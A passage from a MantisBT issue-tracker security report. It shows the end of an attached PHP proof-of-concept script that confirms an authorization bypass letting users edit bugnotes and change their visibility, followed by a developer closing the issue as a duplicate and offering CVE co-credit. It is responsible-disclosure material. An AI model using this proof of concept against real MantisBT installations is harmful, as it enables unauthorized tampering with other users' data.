echo "    Condition: (owns_note=true && !$threshold_val=" . (!$threshold_val ? 'true' : 'false') . ") = " . (true && !$threshold_val ? 'DENY' : 'PASS (bypass)') . "\n";
echo "    The check only fires when threshold=0. Default=$threshold_val → check never fires.\n\n";

// ── 6. Summary
echo "[6] Summary for Run $RUN:\n";
$text_row_final = db_fetch_array(db_query("SELECT note FROM mantis_bugnote_text_table WHERE id=$note_id"));
$row_final = db_fetch_array(db_query("SELECT view_state FROM mantis_bugnote_table WHERE id=$note_id"));
echo "    Note $note_id: text=\"" . $text_row_final['note'] . "\" view_state=" . $row_final['view_state'] . "\n";
echo "    Edit bypass:       " . ($text_row_final['note'] === $note_text_edited ? 'CONFIRMED' : 'NOT confirmed') . "\n";
echo "    View-state bypass: " . ($row_final['view_state'] == 50 ? 'CONFIRMED' : 'NOT confirmed') . "\n";
echo "=== End Run $RUN ===\n\n";
f12_clean_poc.php (7,505 bytes)   

Relationships

duplicate of 0037201 closeddregad Authorization bypass in mc_issue_note_update due to boolean coercion of Integer threshold 
related to 0037089 closeddregad CVE-2026-42070: REST/SOAP mc_issue_update Embedded Note Update Bypasses Note-Level Authorization 

Activities

dregad

dregad

2026-11-09 03:54

developer   ~0071580

@1mm4nu3l
Many thanks for the thorough analysis and detailed report.

I'm closing this issue as duplicate, because the two outlined vulnerabilities have already been identified previously by other security researchers, see:

  • 0037201 for the boolean coercion of bugnote_user_edit_threshold integer config
  • #37060 for the bugnote visibility change bypass

I will gladly co-credit you on the associated CVEs for the above-mentioned issues if you wish; if so, please indicate how you would like your name to appear.